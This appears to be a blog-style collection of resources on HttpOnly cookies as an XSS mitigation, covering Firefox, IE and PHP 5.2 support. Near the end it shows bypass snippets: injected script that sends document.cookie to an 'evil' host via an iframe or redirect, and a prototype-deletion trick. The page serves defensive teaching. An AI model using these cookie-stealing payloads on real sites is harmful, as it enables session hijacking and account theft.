This is a collection of resources on the topic. Some of these methods are not bullet proof but will help you develop some proactive security when writing new web applications and when hardening the existing ones.
HttpOnly plugin for Firefox 2 Client side, written by Stefan Esser, the author of the Hardened-PHP patch and now Suhosin.
httpOnly cookies are a Microsoft extension to the cookie standard. The idea is that cookies marked as httpOnly cannot be accessed from JavaScript. This was implemented to stop cookie stealing through XSS vulnerabilities. This is unlike many people believe not a way to stop XSS vulnerabilities, but a way to stop one of the possible attacks (cookie stealing) that are possible through XSS.
The extension can be found here https://addons.mozilla.org/firefox/3629/. Adds httpOnly cookie support to Firefox by encrypting cookies marked as httpOnly on the browser side, so that JavaScript cannot read them.
HttpOnly Cookies and Mozilla Firefox Server side, using JavaScript.
This is an english translation of "HttpOnly e Firefox" a whitepaper of my friend Stefano Di Paola written in italian. This method will work on Geko (Firefox, Mozilla and derivates) and require no plugin installation on the client side.
Mitigating Cross-site Scripting With HTTP-only Cookies The original implementation.
Microsoft implementation reference of the HttpOnly feature: In order to help mitigate the risk of cross-site scripting, a new feature has been introduced in Microsoft Internet Explorer 6. This feature is a new attribute for cookies which prevents them from being accessed through client-side script. A cookie with this attribute is called an HTTP-only cookie.
HTTP Only cookies in Firefox The JS hack method (already exposed above).
Matt Mecham has implemented the Di Paola's method.
PHP 5.2 patch for HttpOnly cookies Server side, different handling of setcookie, submitted by Scott
After we recently experienced an XSS through what can only be described as IE's shocking attempt at determining the mime type from the data and ignoring what the server sent we decided to look into implementing HTTP-only cookies. We know it's not a solution for preventing XSS, but adding this would complicate the process for those wanting to exploit any discovered problems before they are rectified.
HTTP-only is a feature in IE 6 SP1, Opera, Safari and KDE to allow the setting of cookies that will only be sent via HTTP headers and never accessible via client side scripting.
I've added the flags for setcookie and setrawcookie. There is also support for the session system as well included.
HttpOnly and Firefox The original paper.
Xss vulnerabilities are often used to get cookies. Once the attacker use xss to get cokies there are several techniques to apply such as Session Hijacking.
HTTP Only cookies without PHP 5.2
For a while, Microsoft have had a flag for cookies called 'httponly'. This doesn't sound particularly exciting, but it is a vital step forward for web application security.
This flag tells Internet Explorer to make this cookie 'invisible' to javascript (and other scripting languages) which means that an XSS attack will no longer be able to steal your sensitive cookies.
The problem is that 'http only' support has only just been added into PHP 5.2. This makes this feature unavailable to most webservers.
However, there appears to be a way to force this flag to be written regardless of your PHP version by simply adding "; HttpOnly" at the end of the domain name when setting the cookie. PHP's "setcookie" function merely formats the data into a "set-cookie" header. Fortunately, PHP doesn't appear to filter out or escape the semi-colon so it's added to the end of the "set-cookie" request.
MSIE-extension: HttpOnly cookie attribute for cross-site scripting vulnerability prevention the discussion on Mozilla Firefox bugzilla.
I feel very dirty, but it has some merit: Internet Explorer 6.x has implemented an extension to the SetCookie HTTP header which would mark a cookie as being readable only by the server and never by
scripting components of the client. This would make many types of cross-site scripting vulnerabilities more difficult as "malicious" embedded code would be unable to access sensitive cookies that the web server would not wish them to have access to. [..] Of course, this is a purely client side restriction and, as such, has many limitations anyway.
Defeating Stefano's example using IFAME
Inject this in the vulnerable page:
<script>
// cookie stealing, from injected iframe, succeed
document.getElementById('ciao').innerHTML="<iframe id="fiframe" src="http://evil/remote.php"></iframe>";
</script>
And put this in the remote.php file:
<script>
var img1=new Image();
img1.src="http://evil/?"+frames.document.cookie;
</script>
Defeating Matt's implementation using HTMLDocument.prototype
Fatally it can be undone simply by using:
delete HTMLDocument.prototype.cookie.
For example, if you managed to craft a link like so:
<a href='javascript:alert(document.cookie)'>Click me!</a>
Then you'd get an alert box with "null" thanks to the overridden cookie getter - however, crafting this link:
<a href='javascript:delete HTMLDocument.prototype.cookie; alert(document.cookie)'>Click me!</a>
Then you'd get access to the document.cookie as we've just deleted our custom getter.
HttpOnly implementation bug Steal the cookie using an iframe and DOM
HttpOnly does not fix the hole some people claim it fixes. Let's look at an attack scenario that HttpOnly might appear to fix:
1. Attacker uses XSS or a same-origin hole to inject the following:
location = "http://evil.com/" escape(document.cookie);
2. Attacker uses cookie to log into the site as you and send himself your money.
Here's how the attacker can get around HttpOnly:
1. Attacker uses XSS or a same-origin hole to inject a complicated script.
2. Complicated script opens an iframe to another page on the same site and uses DOM to cause you to send money to the attacker.
HttpOnly is only useful when the cookie itself contains sensitive information that does not appear on the site when you are logged in. An example is Slashdot several years ago, which stored your password in a cookie. With your password, an attacker can *change* your password; without your password, an attacker can only masquerade as you as long as you leave the security hole open.
So we have some picies of the puzzle, put them togever and your sessions will be safe : )